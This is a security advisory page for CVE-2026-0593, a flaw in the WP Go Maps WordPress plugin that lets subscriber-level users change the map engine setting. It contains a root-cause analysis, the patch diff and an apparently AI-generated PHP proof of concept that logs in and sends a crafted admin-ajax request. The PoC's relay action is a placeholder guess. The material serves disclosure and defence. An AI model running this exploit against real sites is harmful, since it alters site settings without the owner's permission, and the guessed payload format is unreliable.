Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0593: WP Go Maps (formerly WP Google Maps) <= 10.0.04 – Missing Authorization to Authenticated (Subscriber+) Map Engine Setting Modification (wp-google-maps)

CVE ID CVE-2026-0593
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 10.0.04
Patched Version 10.0.05
Disclosed January 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0593:
The WP Go Maps plugin for WordPress versions up to and including 10.0.04 contains a missing authorization vulnerability in its AJAX request handling. This flaw allows authenticated users with Subscriber-level permissions or higher to modify global map engine settings, a capability intended only for administrators.

Root Cause:
The vulnerability exists in the `processBackgroundAction()` function within the file `wp-google-maps/includes/class.admin-notices.php`. The function lacked a capability check before processing AJAX requests. Specifically, line 350 in the vulnerable version only verified the presence of the `relay` and `wpgmza_security` parameters and validated the nonce. It did not verify if the current user had the necessary permissions to perform administrative actions. The same missing check was present in the `dismissFromPostAjax()` function on line 330.

Exploitation:
An attacker with a valid Subscriber account can send a crafted POST request to the WordPress AJAX handler at `/wp-admin/admin-ajax.php`. The request must include the `action` parameter set to `wpgmza_process_background_action` (which triggers the vulnerable function), a valid `relay` parameter specifying the action to perform (such as changing the map engine), and a valid `wpgmza_security` nonce. The nonce is accessible to low-privileged users as it is often embedded in page scripts.

Patch Analysis:
The patch adds a global capability check to both vulnerable functions. In `class.admin-notices.php`, lines 332 and 352, the condition `!$wpgmza->isUserAllowedToEdit()` was appended to the existing security checks. This function call verifies the user has appropriate editing permissions (typically `manage_options`). The patch ensures that even if a nonce is valid, the request is blocked unless the user passes the capability check. The plugin version was incremented to 10.0.05.

Impact:
Successful exploitation allows an authenticated attacker to alter the plugin’s global map engine setting. This could disrupt map functionality for all site visitors, potentially causing a denial-of-service condition for map-dependent features. Attackers could also switch the engine to a less secure or incompatible provider, leading to broken functionality or information disclosure via third-party services.

Differential between vulnerable and patched code

Code Diff
--- a/wp-google-maps/html/atlas-novus/settings-page.html.php
+++ b/wp-google-maps/html/atlas-novus/settings-page.html.php
@@ -2980,6 +2980,27 @@
 			</div>
 		</div>

+		<!-- WP Rocket -->
+		<div class="tab-row has-hint">
+			<div class="title"><?php esc_html_e("Disable WP Rocket Exclusion Fix", "wp-google-maps"); ?></div>
+			<div class="switch switch-inline">
+				<input name="disable_wprocket_compatibility_fix"
+						id="disable_wprocket_compatibility_fix"
+						class="cmn-toggle cmn-toggle-round-flat"
+						type="checkbox"/>
+
+				<label for="disable_wprocket_compatibility_fix"></label>
+				<label for="disable_wprocket_compatibility_fix">
+					<small>
+						<?php
+						esc_html_e("We exclude our inline settings object script from the WP Rocket JS Deferred optimzations. As defer loading of the inline script may lead to initialization issues. You can disable this fix, if you prefer.", "wp-google-maps");
+						?>
+					</small>
+				</label>
+
+			</div>
+		</div>
+
 		<!-- Sub heading : Infrastructure -->
 		<div class="tab-row as-heading">
 			<strong>
--- a/wp-google-maps/includes/class.admin-notices.php
+++ b/wp-google-maps/includes/class.admin-notices.php
@@ -328,7 +328,9 @@
 	 * @return void
 	*/
 	public function dismissFromPostAjax(){
-		if (empty($_POST['slug']) || empty($_POST['wpgmza_security']) || !wp_verify_nonce($_POST['wpgmza_security'], 'wpgmza_ajaxnonce')) {
+		global $wpgmza;
+
+		if (empty($_POST['slug']) || empty($_POST['wpgmza_security']) || !wp_verify_nonce($_POST['wpgmza_security'], 'wpgmza_ajaxnonce') || !$wpgmza->isUserAllowedToEdit()) {
 			wp_send_json_error(__( 'Security check failed, import will continue, however, we cannot provide you with live updates', 'wp-google-maps' ));
 		}

@@ -347,7 +349,9 @@
 	 * @return void
 	 */
 	public function processBackgroundAction(){
-		if (empty($_POST['relay']) || empty($_POST['wpgmza_security']) || !wp_verify_nonce($_POST['wpgmza_security'], 'wpgmza_ajaxnonce')) {
+		global $wpgmza;
+
+		if (empty($_POST['relay']) || empty($_POST['wpgmza_security']) || !wp_verify_nonce($_POST['wpgmza_security'], 'wpgmza_ajaxnonce') || !$wpgmza->isUserAllowedToEdit()) {
 			wp_send_json_error(__( 'Security check failed, import will continue, however, we cannot provide you with live updates', 'wp-google-maps' ));
 		}

--- a/wp-google-maps/includes/class.plugin.php
+++ b/wp-google-maps/includes/class.plugin.php
@@ -224,6 +224,11 @@
 				define('WPE_GOVERNOR', false);
 			}
 		}
+
+		/* WP Rocket Exclusion - Inline JS */
+		if(empty($this->settings->disable_wprocket_compatibility_fix)){
+			add_filter('rocket_defer_inline_exclusions', array($this, 'enableWPRocketCompat'), 10, 1);
+		}
 	}

 	public function __set($name, $value)
@@ -1080,6 +1085,31 @@
 		}
 	}

+	/**
+	 * Excludes our inline JS from WP Rocket defer loading
+	 *
+	 * This is done to prevent an asset timing incompatibility which prevents map initialization
+	 *
+	 * This means users do not need to configure additional settings to allow WP Go Maps to function well with WP Rocket
+	 *
+	 * Importantly, all assets can still be deferred, but our initializer, and settings will not be deferred loaded
+	 *
+	 * @param mixed $excludeList The current list of exclusions
+	 *
+	 * @return array
+	 */
+	public function enableWPRocketCompat($excludeList){
+		if(!is_array($excludeList)){
+			/* Not yet in array format */
+			$excludeList = array();
+		}
+
+		/* Add our inline JS Localizer block - We still have a delayed loader system integrated here */
+		$excludeList[] = 'wpgmza-js-extra';
+
+		return $excludeList;
+	}
+
 	public static function get_rss_feed_as_html($feed_url, $max_item_cnt = 10, $show_date = true, $show_description = true, $max_words = 0, $cache_timeout = 7200, $cache_prefix = "/tmp/rss2html-") {
 	    $result = "";
 	    // get feeds and parse items
--- a/wp-google-maps/includes/class.script-loader.php
+++ b/wp-google-maps/includes/class.script-loader.php
@@ -667,17 +667,17 @@

 		// Get library scripts
 		$libraries = $this->getLibraryScripts();
-
+
 		// Enqueue Google API call if necessary
 		switch($wpgmza->settings->engine)
 		{
 			case "open-layers":
 				$loader = new OLLoader(OLLoader::VERSION_TYPE_LEGACY);
-				$loader->loadOpenLayers();
+				$loader->loadOpenLayers($forceLoad);
 				break;
 			case "open-layers-latest":
 				$loader = new OLLoader();
-				$loader->loadOpenLayers();
+				$loader->loadOpenLayers($forceLoad);
 				break;
 			case "leaflet":
 			case "leaflet-azure":
@@ -686,11 +686,11 @@
 			case "leaflet-locationiq":
 			case "leaflet-zerocost":
 				$loader = LeafletLoader::createInstance();
-				$loader->load();
+				$loader->load($forceLoad);
 				break;
 			default:
 				$loader = ($wpgmza->isProVersion() ? new GoogleProMapsLoader() : new GoogleMapsLoader());
-				$loader->loadGoogleMaps();
+				$loader->loadGoogleMaps($forceLoad);
 				break;
 		}

--- a/wp-google-maps/includes/google-maps/class.google-maps-loader.php
+++ b/wp-google-maps/includes/google-maps/class.google-maps-loader.php
@@ -135,11 +135,11 @@
 	 * This function loads the Google API if it hasn't been called already
 	 * @return void
 	 */
-	public function loadGoogleMaps()
+	public function loadGoogleMaps($forceLoad = false)
 	{
 		global $wpgmza;

-		if(GoogleMapsLoader::$googleAPILoadCalled)
+		if(GoogleMapsLoader::$googleAPILoadCalled && empty($forceLoad))
 			return;

 		$apiLoader = new GoogleMapsAPILoader();
--- a/wp-google-maps/includes/leaflet/class.leaflet-loader.php
+++ b/wp-google-maps/includes/leaflet/class.leaflet-loader.php
@@ -32,10 +32,10 @@
 	/**
 	 * Loads the OpenLayers libraries and styles
 	 */
-	public function load() {
+	public function load($forceLoad = false) {
 		global $wpgmza;

-		if(LeafletLoader::$leafletAPILoadCalled){
+		if(LeafletLoader::$leafletAPILoadCalled && empty($forceLoad)){
 			return;
 		}

@@ -87,7 +87,6 @@
 			}
 		}

-
 		LeafletLoader::$leafletAPILoadCalled = true;
 	}
 }
--- a/wp-google-maps/includes/open-layers/class.ol-loader.php
+++ b/wp-google-maps/includes/open-layers/class.ol-loader.php
@@ -33,10 +33,10 @@
 	/**
 	 * Loads the OpenLayers libraries and styles
 	 */
-	public function loadOpenLayers() {
+	public function loadOpenLayers($forceLoad = false) {
 		global $wpgmza;

-		if(OLLoader::$olAPILoadCalled){
+		if(OLLoader::$olAPILoadCalled && empty($forceLoad)){
 			return;
 		}

--- a/wp-google-maps/wpGoogleMaps.php
+++ b/wp-google-maps/wpGoogleMaps.php
@@ -3,7 +3,7 @@
 Plugin Name: WP Go Maps (formerly WP Google Maps)
 Plugin URI: https://www.wpgmaps.com
 Description: The easiest to use Google Maps plugin! Create custom Google Maps or a map block with high quality markers containing locations, descriptions, images and links. Add your customized map to your WordPress posts and/or pages quickly and easily with the supplied shortcode. No fuss.
-Version: 10.0.04
+Version: 10.0.05
 Author: WP Go Maps (formerly WP Google Maps)
 Author URI: https://www.wpgmaps.com
 Text Domain: wp-google-maps
@@ -12,6 +12,14 @@


 /*
+ * 10.0.05 - 2026-01-14
+ * Fixed issue where notice actions were missing permission checks. Low level users could trigger actions like switching map engines. Security issue. Thanks Moose Love (Nagasaki Prefectural University) (Wordfence)
+ * Fixed issue where deferred loading with WP Rocket would lead to initialization error. We now exclude inline initializer and settings object from this system. Can be disabled in settings
+ * Fixed issue where batch marker loading would incorrectly trigger final shape fetch request
+ * Fixed issue where internal map library loaders would not respect force-load flag when enqueueing scripts
+ * Fixed issue with setMap calls on point labels
+ * Improved point label architecture to support regeneration and map ID changes if needed
+ *
  * 10.0.04 - 2025-12-04
  * Added pro features page and menu item
  * Added additional page construction hooks

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0593 - WP Go Maps (formerly WP Google Maps) <= 10.0.04 - Missing Authorization to Authenticated (Subscriber+) Map Engine Setting Modification
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';

// Step 1: Authenticate to WordPress and obtain session cookies
$login_url = str_replace('/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => 1
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Fetch a page containing the WP Go Maps nonce (e.g., a page with a map)
// The nonce 'wpgmza_ajaxnonce' is often enqueued in page scripts.
// For this PoC, we assume the attacker can obtain a valid nonce.
// In a real scenario, this would be extracted from a page source.
$nonce = 'EXTRACTED_NONCE'; // Replace with a nonce extracted from a page source

// Step 3: Craft the unauthorized map engine change request
// The 'relay' parameter contains the serialized action data.
$payload = array(
    'action' => 'wpgmza_process_background_action',
    'relay' => serialize(array(
        'action' => 'wpgmza_switch_map_engine', // Example target action
        'engine' => 'open-layers', // Target engine to switch to
        'nonce' => $nonce
    )),
    'wpgmza_security' => $nonce
);

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
$response = curl_exec($ch);
curl_close($ch);

echo "Exploit attempt completed. Response: " . htmlspecialchars($response);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School